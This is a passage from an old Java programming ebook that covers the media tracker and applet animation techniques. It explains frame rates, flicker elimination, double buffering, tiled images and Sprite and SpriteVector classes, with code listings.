check performed by paint is to see whether the images have finished loading. It does this by calling statusID and comparing the result with the COMPLETE flag. If the images have finished loading, the image array is iterated through and each image drawn on the applet window. The resulting output is the same as Count1, which you already saw in Figure 2.1. If the images have not finished loading, the text message Loading images... is displayed. You may be curious about the font calculations that are made before drawing the text. These calculations are necessary to make sure the text is drawn centered in the applet window.

Tracking Other Types of Media


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (10 of 11) [8/16/02 8:36:51 AM]

Chapter 2 -- Using the Media Tracker

Now that you have a good idea how the media tracker is used to track images, you may be wondering what to do about other types of media, such as audio. Unfortunately, release 1.0 of Java doesn't provide media tracker support for any media types other than images. The reason for this is that few media types have been well-defined in this version of Java. As of this writing, Sun has promised a future release of Java with more extensive support for other media types. Until then, you are pretty much left with tracking images only. It is technically possible to extend the media tracker yourself to support tracking audio clips, but it would require writing a fair amount of code that will ultimately be outdated when Sun provides its own implementations in the future. For more information on what the future audio support in Java might look like, check out Chapter 4, "Using Java's Audio Classes."

Summary
In this chapter, you learned about a problem inherent in transmitting media objects over the Internet, transmission delay. Because the Web is largely dependent on media objects, transmission delay is a very important issue that Java applets must be able to handle. Although there isn't really anything software can do to alleviate the physical transmission delays inherent in a particular network connection, there are suitable workarounds. One workaround that applies to static images is interlacing. Although interlacing works well with static images, you learned in this chapter that the Java media tracker provides a universal solution to transmission delays as they apply to all media objects. Using the Java media tracker, you can be informed when media objects have finished transferring and are available for use. You saw a practical usage of the media tracker by writing a sample applet both with and without media tracker support. Finally, you learned that in its current release, the Java media tracker works only with images.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch2.htm (11 of 11) [8/16/02 8:36:51 AM]

Chapter 13 -- Animation Techniques

Chapter 13
Animation Techniques

CONTENTS
G G G G G G G

What Is Animation? Types of Animation Implementing Frame Animation Eliminating Flicker Implementing Sprite Animation Testing the Sprite Classes Summary

Animation is perhaps one of the most popular uses of the Java language thus far. Even if few people have realized the full potential of using Java to solve problems on the Web, most can see the benefits of using Java to animate Web content. Java is indeed the ideal technology to bring animation to the Web. In this chapter, you learn all about animation as it applies to Java, including the different types of fundamental animation techniques. Throughout this chapter, you learn about animation by developing real applets that demonstrate the animation techniques discussed. You also learn optimization tips to minimize flicker and get the best performance out of Java animations. The chapter concludes with a fully functioning set of sprite classes for creating Java applets with multiple, interactive animated objects.

What Is Animation?
What is animation? To put it simply, animation is the illusion of movement. When you watch television, you see lots of things moving around. You are really being tricked into believing that you are seeing movement. In the case of television, the illusion of movement is created by displaying a rapid succession of images with slight changes in the content. The human eye perceives these changes as movement because of its low visual acuity. The human eye can be tricked into perceiving movement with as low as 12 frames of movement per second. It should come as no surprise that frames per second (fps) is the standard unit of measure for animation. It should also be no surprise that computers use the same
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (1 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

animation technique as television sets to trick us into seeing movement. Although 12 fps is enough technically to make animation work, the animations sometimes look jerky. Most professional animations therefore use a higher frame rate. Television uses 30 fps, and motion pictures use about 24 fps. Although the number of frames per second is a good measure of the animation quality, it isn't always the bottom line. Professional animators have the ability to create their animations with a particular frame rate in mind so that they can alleviate some of the jerkiness at slower speeds. When you program animation in Java, you typically have the ability to manipulate the frame rate a fair amount. The obvious limitation on frame rate is the speed at which the computer can generate and display the animation frames. There is usually some give and take between establishing a frame rate low enough to yield a smooth animation, while not bogging down the processor and slowing the system. You learn more about all that later. For now, keep in mind that when programming animation in Java, you are acting as a magician creating the illusion of movement for the users of your applet.

Types of Animation
Before jumping into writing Java code, you need some background on the different types of animation. Armed with this knowledge, you can then pick and choose which approach suits your animation needs best. There are many different types of animation, all useful in different instances. However, for implementing animation in Java, animation can be broken down into two basic types: frame-based animation and castbased animation.

Frame-Based Animation
Frame-based animation is the simpler of the animation techniques. It involves simulating movement by displaying a sequence of static frames. A movie is a perfect example of frame-based animation; each frame of the film is a frame of animation. When the frames are shown in rapid succession, they create the illusion of movement. In frame-based animation, there is no concept of an object distinguishable from the background; everything is reproduced on each frame. This is an important point, because it distinguishes frame-based animation from cast-based animation. The number of images used in the Count applets in the last chapter would make a good frame-based animation. By treating each image as an animation frame and displaying them all over time, you can create counting animations. As a matter of fact, you do this exact thing a little later in this chapter.

Cast-Based Animation

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (2 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Cast-based animation, which also is called sprite animation, is a very popular form of animation and has seen a lot of usage in games. Cast-based animation involves objects that move independently of the background. At this point, you may be a little confused by the use of the word "object" when referring to parts of an image. In this case, an object is something that logically can be thought of as a separate entity from the background of an image. For example, in the animation of a forest, the trees might be part of the background, but a deer would be a separate object moving independently of the background. Each object in a cast-based animation is referred to as a sprite, and can have a changing position. Almost every video game uses sprites to some degree. For example, every object in the classic Asteroids game is a sprite moving independently of the other objects. Sprites generally are assigned a position and a velocity, which determine how they move. Note Speaking of Asteroids, Chapter 14, "Writing 2D Games," takes you through developing a complete Asteroids game in Java.

Going back to the example involving the number images, if you want to create an animation with numbers floating around on the screen, you would be better off using cast-based animation. Remember, frame-based animation is useful for counting (changing the number itself). However, cast-based animation is better when the number has to be able to change position; the number in this case is acting as a sprite. Transparency Because bitmapped images are rectangular by nature, a problem arises when sprite images aren't rectangular in shape-which is usually the case. The problem is that the areas of the rectangular image surrounding the sprite hide the background when the sprite is displayed. The solution is transparency, which enables you to specify that a particular color in the sprite is not to be displayed. This color is known as the transparent color. Lucky for you, transparency is already supported in Java by way of the GIF 89a image format. In the GIF 89a image format, you specify a color of the GIF image that serves as the transparent color. When the image is drawn, pixels matching the transparent color are skipped over and left undrawn, leaving the background pixels unchanged. Z-Order The depth of sprites on the screen is referred to as Z-order. It is called Z-order because it works like another dimension, a z axis. You can think of sprites moving around on the screen in the x,y axis. Similarly, the z axis can be thought of as another axis projected out of the screen that determines how the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (3 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

sprites overlap each other; it determines their depth within the screen. Even though you're now thinking in terms of three axes, Z-order can't really be considered 3D, because it only specifies how objects hide each other. Collision Detection There is one final topic to cover regarding sprite animation: collision detection. Collision detection is simply the method of determining whether sprites have collided with each other. Although collision detection doesn't directly play a role in creating the illusion of movement, it is nevertheless tightly linked to sprite animation. Collision detection defines how sprites physically interact with each other. In an Asteroids game, for example, if the ship sprite collides with an asteroid sprite, the ship is destroyed. Similarly, a molecular animation might show atoms bouncing off each other; the atom sprites bounce in response to a collision detection. Because a lot of animations have many sprites moving around, collision detection can get very tricky. There are many approaches to handling collision detection. The simplest approach is to compare the bounding rectangles of each sprite with the bounding rectangles of all the other sprites. This method is very efficient, but if you have objects that are nonrectangular, there will be a certain degree of error when the objects brush by each other. This is because the corners might overlap and indicate a collision when really only the transparent areas are intersecting. The more irregular the shape of the sprites, the more error there usually is. Figure 13.1 shows how simple rectangle collision works. Figure 13.1 : Collision detection using simple rectangle collision. In Figure 13.1, the areas determining the collision detection are shaded. You can see how simple rectangle collision detection isn't all that accurate. An improvement on this technique is to shrink the collision rectangles a little, which reduces the corner error. This method improves things a little, but might cause error in the other direction and enable the sprites to overlap in some cases without signaling a collision. Figure 13.2 shows how shrinking the collision rectangles can improve the error on simple rectangle collision detection. You use this approach later in this chapter when you develop a sprite class in Java. Figure 13.2 : Collision detection using shrunken rectangle collision. Another solution is to detect collision based on the sprite image data and to see whether transparent parts of the image or the image itself are overlapping. In this case, you get a collision only if the actual sprite images are overlapping. This is the ideal technique for detecting collision because it is exact and enables objects of any shape to move by each other without error. Figure 13.3 shows collision detection using the sprite image data.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (4 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Figure 13.3 : Collision detection using sprite image data. Unfortunately, this technique requires far more overhead than rectangle collision detection and sometimes can be a major bottleneck in performance. Considering the fact that getting decent animation performance is already a challenge in Java, it's safe to forget about this approach for the time being.

Implementing Frame Animation


The most common animation used in Java applets is simple frame animation. This type of animation involves displaying a series of image frames that create the effect of motion and draw attention to certain parts of a Web page. For this reason, you first learn how to implement frame animation before moving on to the more complicated sprite animation. The Counter1 applet shown in Figure 13.4 shows a very basic implementation of frame animation. Figure 13.4 : The Counter 1 basic frame animation applet. In Counter1, a series of ten number images are used to animate a count from zero to ten. The source code for Counter1 is shown in Listing 13.1.

Listing 13.1. The Counter1 sample applet. // Counter1 Class // Counter1.java // Imports import java.applet.*; import java.awt.*; public class Counter1 extends Applet implements Runnable { Image[] numbers = new Image[10]; Thread animate; MediaTracker tracker; int frame = 0; public void init() { // Load and track the images tracker = new MediaTracker(this); for (int i = 0; i < 10; i++) { numbers[i] = getImage(getDocumentBase(), "Res/" + i + ".gif");
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (5 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

tracker.addImage(numbers[i], 0); } } public void start() { if (animate == null) { animate = new Thread(this); animate.start(); } } public void stop() { if (animate != null) { animate.stop(); animate = null; } } public void run() { try { tracker.waitForID(0); } catch (InterruptedException e) { return; } while (true) { if (++frame > 9) frame = 0; repaint(); } } public void paint(Graphics g) { if ((tracker.statusID(0, true) & MediaTracker.ERRORED) != 0) { // Draw the error rectangle g.setColor(Color.red); g.fillRect(0, 0, size().width, size().height); return; } if ((tracker.statusID(0, true) & MediaTracker.COMPLETE) != 0) { // Draw the frame image
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (6 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

g.drawImage(numbers[frame], 0, 0, this); } else { // Draw the loading message Font font = new Font("Helvetica", Font.PLAIN, 16); FontMetrics fm = g.getFontMetrics(font); String str = new String("Loading images..."); g.setFont(font); g.drawString(str, (size().width - fm.stringWidth(str)) / 2, ((size().height - fm.getHeight()) / 2) + fm.getAscent()); } } }

Even though Counter1 is a basic animation example, you're probably thinking it contains a lot of code. The reason is that it takes a decent amount of code to get even a simple animation up and running. Just take it a step at a time and you'll see that it's not so bad. The number images used in the animation are stored in the member variable numbers, which is an array of Image. There are also member variables for an animation thread, a media tracker, and the current frame of animation. An animation thread is necessary because animations perform much better within their own thread of execution. The media tracker, as you learned in the previous chapter, is used to determine when all the images have been loaded. The init method loads all the images and registers them with the media tracker. The start and stop methods are standard thread handler methods. The run method first waits for the images to finish loading by calling the waitForID method of the MediaTracker object. Once the images have finished loading, an infinite while loop is entered that handles incrementing the animation frame and forcing the applet to repaint itself. By forcing a repaint, you are causing the applet to draw the next frame of animation. The frames are actually drawn in the paint method, which looks a lot like the paint method from the Count2 applet in the previous chapter. The only significant difference is the line of code that actually draws the frame image, which follows: g.drawImage(numbers[frame], 0, 0, this);

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (7 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Notice that the correct frame is drawn by indexing into the image array with the current frame. It's as simple as that! Although the Counter1 applet may seem much simpler after closer inspection, it is lacking in many ways. The most obvious problem with it is that there is no control over the speed of the animation (frame rate). Animations can hardly be effective if they're zipping by too fast to keep up with. Another problem with Counter1 is the obvious flicker when the animation frames are drawn. Although the flicker may be fairly tolerable with this animation, because the frame images themselves are fairly small, it would be much worse with larger images. It's safe to say that this problem should be solved. Actually, both of these problems will be dealt with in a variety of ways. The next few sections of this chapter deal with improving this applet by solving these problems incrementally. The end result is a powerful, high-performance frame animation applet that you can use in your own Web pages.

Establishing a Frame Rate


Arguably, the biggest problem with Counter1 is the lack of control over the speed of the animation. The Counter2 applet fixes this problem quite nicely. I'd love to show you a nice figure displaying the difference between the two applets, but unfortunately frame rate is difficult to communicate on a printed page. You'll have to resort to the CD-ROM and run the applets yourself to see the difference. Even so, by learning the programmatic differences between the two applets, you should form a good understanding of how Counter2 solves the frame rate problem. The first change made in Counter2 is the addition of an integer member variable, delay. This member variable determines the delay, in milliseconds, between each successive animation frame. The inverse of this delay value is the frame rate of the animation. The delay member variable is initialized in Counter2 as follows: int delay = 200; // 5 fps You can tell by the comment that the inverse of 200 milliseconds is 5 fps. So, a value of 200 for delay yields a frame rate of 5 frames per second. That's pretty slow by most animation standards, but you want to be able to count the numbers as they go by, so it's a good frame rate for this example. The code that actually uses the delay member variable to establish the frame rate is located in the run method. Listing 13.2 contains the source code for the run method in Counter2.

Listing 13.2. The run() method in the Counter2 sample applet. public void run() {

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (8 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

try { tracker.waitForID(0); } catch (InterruptedException e) { return; } // Update everything long t = System.currentTimeMillis(); while (Thread.currentThread() == animate) { if (++frame > 9) frame = 0; repaint(); try { t += delay; Thread.sleep(Math.max(0, t System.currentTimeMillis())); } catch (InterruptedException e) { break; } } }

The first interesting line of code in the run method is the call to currentTimeMillis. This method returns the current system time in milliseconds. You aren't really concerned with what absolute time this method is returning you, because you are going to use it here only to measure relative time. First, the frame is incremented and the repaint method called as in Counter1. The delay value is then added to the current time. At this point, you have updated the frame and calculated a time value that is delay milliseconds into the future. The next step is to tell the animation thread to sleep an amount of time equal to the difference between the future time value you just calculated and the present time. The sleep method is used to make a thread sleep for a number of milliseconds, as determined by the value passed in its only parameter. You may be thinking you could just pass delay to sleep and things would be fine. This approach technically would work, but it would have a certain amount of error, because a finite amount of time passes between updating the frame and putting the thread to sleep. Without accounting for this time, the actual delay between frames wouldn't be equal to the value of delay. The solution is to check the time before and after the frame is updated and reflect the difference in the delay passed to the sleep method. With that, the frame rate is under control. You simply change the value of the delay member variable
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (9 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

to alter the frame rate. You should try running the applet at different frame rates to see the effects. You'll quickly learn that the frame rate will max out at a certain value, in which case increasing it won't help anymore. At this point, the applet is eating all the processor time with the animation thread.

Eliminating Flicker
Now that the frame rate issue is behind you, it's time to tackle the remaining problem plaguing the Counter2 applet: flicker. Unlike the frame rate problem, there are two different ways to approach the flicker problem. The first is very simple, but is less effective and applies only to a limited range of animations. The second is more complicated, but is very powerful and absolutely essential in creating quality animations. You're going to learn about both of these approaches.

Overriding the update() Method


The simplest solution to eliminating the flicker problem in animations is to override the update method in your applet. To see how an overridden version of update might help, take a look at the source code for the standard update method, as contained in the Java 1.0 release: public void update(Graphics g) { g.setColor(getBackground()); g.fillRect(0, 0, width, height); g.setColor(getForeground()); paint(g); } Notice that update performs an update of the graphics context by first erasing it and then calling the paint method. It's the erasing part that causes the flicker. With every frame of animation, there is an erase followed by a paint. When this process occurs repeatedly and rapidly, as in animations, the erase results in a visible flicker. If you could just paint without erasing, the flicker would be eliminated. That's exactly what you need to do. The Counter3 applet is functionally equivalent to the Counter2 applet except for the addition of an overridden update method. The update method in Counter3 looks like this: public void update(Graphics g) { paint(g); } This update method is a pared-down version of the original method that only calls paint. By eliminating the erase part of the update, you put an end to the flicker problem. In this case, however, there is a side effect. Check out Counter3 in action in Figure 13.5 to see what I mean.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (10 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Figure 13.5 : The Counter3 frame animation applet. It's pretty obvious that the background is not being erased because you can see the remains of the Loading images... message behind the animation. This brings up the primary limitation of this solution to the flicker problem: it only works when your animation takes up the entire applet window. Otherwise, the parts of the applet window outside the animation never get erased. Another limitation not readily apparent in this example is that this solution applies only to animations that use images. What about animations that are based on AWT graphics primitives, such as lines and polygons? In this case, you want the background to be erased between each frame so that the old lines and polygons aren't left around. What then?

Double Buffering
Double buffering is the cure-all for many problems associated with animation. By using double buffering, you eliminate flicker and allow speedy animations involving both images and AWT graphics primitives. Double buffering is the process of maintaining an extra, offscreen buffer image onto which you draw the next frame of animation. Rather than drawing directly to the applet window, you draw to the intermediate, offscreen buffer. When it's time to update the animation frame, you simply draw the entire offscreen buffer image to the applet window and then start the process over by drawing the next frame to the buffer. Figure 13.6 contains a diagram showing how double buffering works. Figure 13.6 : The basics of double buffered animation. The Counter4 applet is an improved Counter3 with full double buffering support. Although double buffering is certainly more complex than overriding the update method with a single call to paint, it's still not too bad. As a matter of fact, the majority of the changes in Counter4 are in the update method, which is shown in Listing 13.3. Before you look at that, check out the two member variables that have been added to the Counter4 applet: Image Graphics offImage; offGrfx;

The offImage member variable contains the offscreen buffer image used for drawing intermediate animation frames. The offGrfx member variable contains the graphics context associated with the offscreen buffer image.

Listing 13.3. The update() method in the Counter4 sample applet.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (11 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

public void update(Graphics g) { // Create the offscreen graphics context Dimension dim = size(); if (offGrfx == null) { offImage = createImage(dim.width, dim.height); offGrfx = offImage.getGraphics(); } // Erase the previous image offGrfx.setColor(getBackground()); offGrfx.fillRect(0, 0, dim.width, dim.height); offGrfx.setColor(Color.black); // Draw the frame image offGrfx.drawImage(numbers[frame], 0, 0, this); // Draw the image onto the screen g.drawImage(offImage, 0, 0, null); }

The update method in Counter4 handles almost all the details of supporting double buffering. First, the size of the applet window is determined with a call to the size method. The offscreen buffer is then created as an Image object whose dimensions match those of the applet window. It is important to make the offscreen buffer the exact size of the applet window. The graphics context associated with the buffer is then retrieved using the getGraphics method of Image. Because you are now working on an offscreen image, it's safe to erase it without worrying about flicker. As a matter of fact, erasing the offscreen buffer is an important step in the double-buffered approach. After erasing the buffer, the animation frame is drawn to the buffer, just as it was drawn to the applet window's graphics context in the paint method in Counter3. The offscreen buffer is now ready to be drawn to the applet window. This is simply a matter of calling drawImage and passing the offscreen buffer image. Notice that the paint method isn't even called from update. This a further optimization to eliminate the overhead of calling paint and going through the checks to see whether the images have loaded successfully. At the point that update gets called, you already know the images have finished loading. However, this doesn't mean you can ignore paint; you must still implement paint because it gets called at other points in the AWT framework. Counter4's version of paint is very similar to Counter3's paint, with the only difference being the line that draws the offscreen buffer: g.drawImage(offImage, 0, 0, null);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (12 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

This is the same line of code found at the end of update, which shouldn't be too surprising to you by now.

Working with Tiled Image Frames


The last modification you're going to learn about in regard to the Counter applets is that of using a single tiled image rather than individual images for the animation frames. Note A tiled image is an image containing multiple sub-images called tiles. A good way to visualize a tiled image is to think of a reel of film for a movie; the film can be thought of as a big tiled image with lots of image tiles. The movie is animated by displaying the image tiles in rapid succession.

In all the Counter applets until now, the animation frames have come from individual images. Counter5 is a modified Counter4 that gets its frame images from a single image containing tiled subimages. The image Numbers.gif is used in Counter5 (see Figure 13.7). Figure 13.7 : The Numbers.gif tiled animation image used in Counter5. As you can see, the individual number images are tiled horizontally from left to right in Numbers.gif. To see how Counter5 manages to draw each frame using this image, check out Listing 13.4, which contains the update method.

Listing 13.4. The update() method in the Counter5 sample applet. public void update(Graphics g) { // Create the offscreen graphics context Dimension dim = size(); if (offGrfx == null) { offImage = createImage(dim.width, dim.height); offGrfx = offImage.getGraphics(); } // Erase the previous image

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (13 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

offGrfx.setColor(getBackground()); offGrfx.fillRect(0, 0, dim.width, dim.height); offGrfx.setColor(Color.black); // Draw the frame image int w = numbers.getWidth(this) / 10, h = numbers.getHeight(this); offGrfx.clipRect(0, 0, w, h); offGrfx.drawImage(numbers, -(frame * w), 0, this); // Draw the image onto the screen g.drawImage(offImage, 0, 0, null); }

The only part of update that is changed is the part where the frame image is drawn to the offscreen buffer. The width and height of the frame to be drawn are first obtained. Notice that the width of a single frame is calculated by getting the width of the entire image and dividing it by the number of tiles (in this case 10). Then, the offscreen graphics context is clipped around the rectangle where the frame is to be drawn. This clipping is crucial, because it limits all drawing to the specified rectangle, which is the rectangle for the single frame of animation. The entire image is then drawn to the offscreen buffer at a location specifically calculated so that the correct frame will appear in the clipped region of the offscreen buffer. To better understand what is going on, take a look at Figure 13.8. Figure 13.8 : Using a clipping region to draw a single frame of a tiled image. The best way to understand what is happening is to imagine the offscreen buffer as a piece of paper. The clipping rectangle is a rectangular section of the paper that has been removed. So, you have a piece of paper with a rectangular section that you can see through. Now, imagine the tiled image as another piece of paper that you are going to hold up behind the first piece. By lining up a tiled frame on the image piece of paper with the cutout on the first piece, you are able to view that frame by itself. Pretty tricky! It is faster to transmit a single tiled image than it is to transmit a series of individual images. Because any potential gain in transmission speed has to be made whenever possible, the tiled image approach is often valuable. The only problem with it is that it won't work for sprite animation, which you learn about next. At this point, you have a very powerful and easy-to-use animation applet, Counter5, to use as a template for your own animation applets. Counter5 contains everything you need to include high-performance, frame-based animations in your Web pages. If, however, your needs go beyond frame-based animation, read on to learn all about implementing sprite animation.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (14 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Implementing Sprite Animation


As you learned earlier in this chapter, sprite animation involves the movement of individual graphic objects called sprites. Unlike simple frame animation, sprite animation involves considerably more overhead. More specifically, it is necessary not only to develop a sprite class, but also a sprite management class for keeping up with all the sprites. This is necessary because sprites need to be able to interact with each other through a common interface. In this section, you learn how to implement sprite animation in Java by creating two sprite classes: Sprite and SpriteVector. The Sprite class models a single sprite and contains all the information and methods necessary to get a single sprite up and running. However, the real power of sprite animation is harnessed by combining the Sprite class with the SpriteVector class, which is a container class that keeps up with multiple sprites.

The Sprite Class


Although sprites can be implemented simply as movable images, a more powerful sprite includes support for frame animation. A frame-animated sprite is basically a sprite with multiple frame images. The Sprite class you develop here supports frame animation, which comes in the form of an array of images that can be displayed in succession. Using this approach, you end up with a Sprite class that supports both fundamental types of animation. Enough general talk about the Sprite class-you're probably ready to get into the details of how to implement it. However, before jumping into the Java code, take a moment to think about what information a Sprite class needs. The following list contains the key information the Sprite class needs to include:
G G G G G

Array of frame images Current frame x,y position Z-order Velocity

The array of frame images is necessary to carry out the frame animations. Even though the support is there for multiple animation frames, a sprite requires only a single image. The current frame keeps up with the current frame of animation. In a typical frame-animated sprite, the current frame gets incremented to the next frame when the sprite is updated. The x,y position stores the position of the sprite in the applet window. The Z-order represents the depth of the sprite in relation to other sprites. Ultimately, the Z-order of a sprite determines its drawing order (more on that a little later). Finally, the velocity of a sprite represents the speed and direction of the sprite.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (15 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

Now that you understand the basic information required by the Sprite class, it's time to get into the specific Java implementation. Take a look at Listing 13.5, which contains the source code for the Sprite class.

Listing 13.5. The Sprite class. // Sprite Class // Sprite.java // Imports import java.awt.*; import java.awt.image.*; public class Sprite { Component component; Image[] image; int frame, frameInc, frameDelay, frameTrigger; Rectangle position, collision; int zOrder; Point velocity; Sprite(Component comp, Image img, Point pos, Point vel, int z) { component = comp; image = new Image[1]; image[0] = img; frame = 0; frameInc = 0; frameDelay = frameTrigger = 0; velocity = vel; zOrder = z; setPosition(pos); } Sprite(Component comp, Image[] img, int f, int fi, int fd, Point pos, Point vel, int z) { component = comp;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (16 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

image = img; frame = f; frameInc = fi; frameDelay = frameTrigger = fd; velocity = vel; zOrder = z; setPosition(pos); } Image[] getImage() { return image; } int getFrameInc() { return frameInc; } void setFrameInc(int fi) { frameInc = fi; } int getFrame() { return frame; } void incFrame() { if ((frameDelay > 0) && (--frameTrigger <= 0)) { // Reset the frame trigger frameTrigger = frameDelay; // Increment the frame frame += frameInc; if (frame >= image.length) frame = 0; else if (frame < 0) frame = image.length - 1; } } Rectangle getPositionRect() { return position; }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (17 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

void setPosition(Rectangle pos) { position = pos; calcCollisionRect(); } void setPosition(Point pos) { position = new Rectangle(pos.x, pos.y, image[0].getWidth(component), image[0].getHeight(component)); calcCollisionRect(); } Rectangle getCollisionRect() { return collision; } int getZOrder() { return zOrder; } Point getVelocity() { return velocity; } void setVelocity(Point vel) { velocity = vel; } void update() { // Update the position and collision rects int w = component.size().width, h = component.size().height; position.translate(velocity.x, velocity.y); if ((position.x + position.width) < 0) position.x = w; else if (position.x > w) position.x = -position.width; if ((position.y + position.height) < 0) position.y = h; else if (position.y > h) position.y = -position.height; calcCollisionRect();

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (18 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

// Increment the frame incFrame(); } void draw(Graphics g) { // Draw the current frame g.drawImage(image[frame], position.x, position.y, component); } protected boolean testCollision(Sprite test) { // Check for collision with another sprite if (this != test) if (collision.intersects(test.getCollisionRect())) return true; return false; } protected void calcCollisionRect() { // Calculate the collision rect collision = new Rectangle(position.x + 4, position.y + 4, position.width - 8, position.height - 8); } }

It looks like a lot of code for a simple Sprite class, but take it a method at a time and it's not too bad. First, notice from the member variables that the appropriate sprite information is maintained by the Sprite class. You may also notice a few member variables that aren't related to the core sprite information discussed earlier. The Component member variable is necessary because an ImageObserver object is necessary to retrieve information about an image. What does Component have to do with ImageObserver? The Component class implements the ImageObserver interface. Furthermore, the Applet class is derived from Component. A Sprite object gets its image information from the Java applet itself, which is used to initialize the component member variable. The frameInc member variable is used to provide a means to change the way the animation frames are updated. For example, there may be instances where you want the frames to be displayed in the reverse order. You can easily do this by setting frameInc to -1 (its typical value is 1). The frameDelay and frameTrigger member variables are used to provide a means of varying the speed of the frame animation. You see how the speed of animation is controlled in a moment when you learn about the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (19 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

incFrame method. The last member variable in question is collision, which is a Rectangle object. This member variable is used to support shrunken rectangle collision detection, where a smaller rectangle is used in collision detection tests. You see how collision is used a little later when you learn about the testCollision and calcCollisionRect methods. The Sprite class has two constructors. The first constructor creates a Sprite without frame animations, meaning that it uses a single image to represent the sprite. This constructor takes an image, position, velocity, and Z-order as parameters. The second constructor takes an array of images and some additional information about the frame animations. The additional information includes the current frame, frame increment, and frame delay. Sprite contains a few access methods, which are simply interfaces to get and set certain member variables. These methods consist of one or two lines of code and are pretty self-explanatory. Let's move on to the juicier methods! The incFrame method is the first method with any real substance. incFrame is used to increment the current animation frame. It first checks the frameDelay and frameTrigger member variables to see whether the frame should indeed be incremented. This check is what enables you to vary the speed of animation, which is done by changing the value of frameDelay. Larger values for frameDelay result in a slower animation. The current frame is incremented by adding frameInc to frame. frame is then checked to make sure its value is within the bounds of the image array. The setPosition methods set the position of the sprite. Even though the sprite position is stored as a rectangle, the setPosition methods enable you to specify the sprite position as either a rectangle or a point. In the latter version, the rectangle is calculated based on the dimensions of the sprite image. After the sprite position rectangle is calculated, the collision rectangle is set with a call to calcCollisionRect. The method that does most of the work in Sprite is the update method. update handles the task of updating the position and animation frame of the sprite. The position of the sprite is updated by translating the position rectangle based on the velocity. You can think of the position rectangle as being slid a distance determined by the velocity. The position of the sprite is then checked against the dimensions of the applet window to see whether it needs to be wrapped around to the other side. Finally, the frame is updated with a call to incFrame. The draw method simply draws the current frame to the Graphics object that is passed in. Notice that the drawImage method requires the image, x,y position, and component (ImageObserver) to carry this out. The testCollision method is used to check for collisions between sprites. The sprite to test is
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (20 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

passed in the test parameter. The test simply involves checking to see whether the collision rectangles intersect. If so, testCollision returns true. testCollision isn't all that useful within the context of a single sprite, but it will come in very handy when you put together the SpriteVector class a little later in this chapter. The last method of interest in Sprite is calcCollisionRect, which calculates the collision rectangle from the position rectangle. In this case, the collision rectangle is simply calculated as a smaller version of the position rectangle. However, you could tailor this rectangle to match the images of specific sprites more closely. In this case, you would derive a new sprite class and then override the calcCollisionRect method. A further enhancement could even include an array of collision rectangles that correspond to each animation frame. With this enhancement, you could tighten up the error inherent in rectangle collision detection.

The SpriteVector Class


Now you have a Sprite class with some pretty neat features, but you are still missing a key ingredientthe capability of managing multiple sprites and allowing them to interact with each other. The SpriteVector class, shown in Listing 13.6, is exactly what you need.

Listing 13.6. The SpriteVector class. // SpriteVector Class // SpriteVector.java // Imports import java.awt.*; import java.util.*; public class SpriteVector extends Vector { Component component; Image background; SpriteVector() { super(50, 10); } SpriteVector(Component comp, Image bg) { super(50, 10); component = comp; background = bg; }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch13.htm (21 of 29) [8/16/02 8:36:59 AM]

Chapter 13 -- Animation Techniques

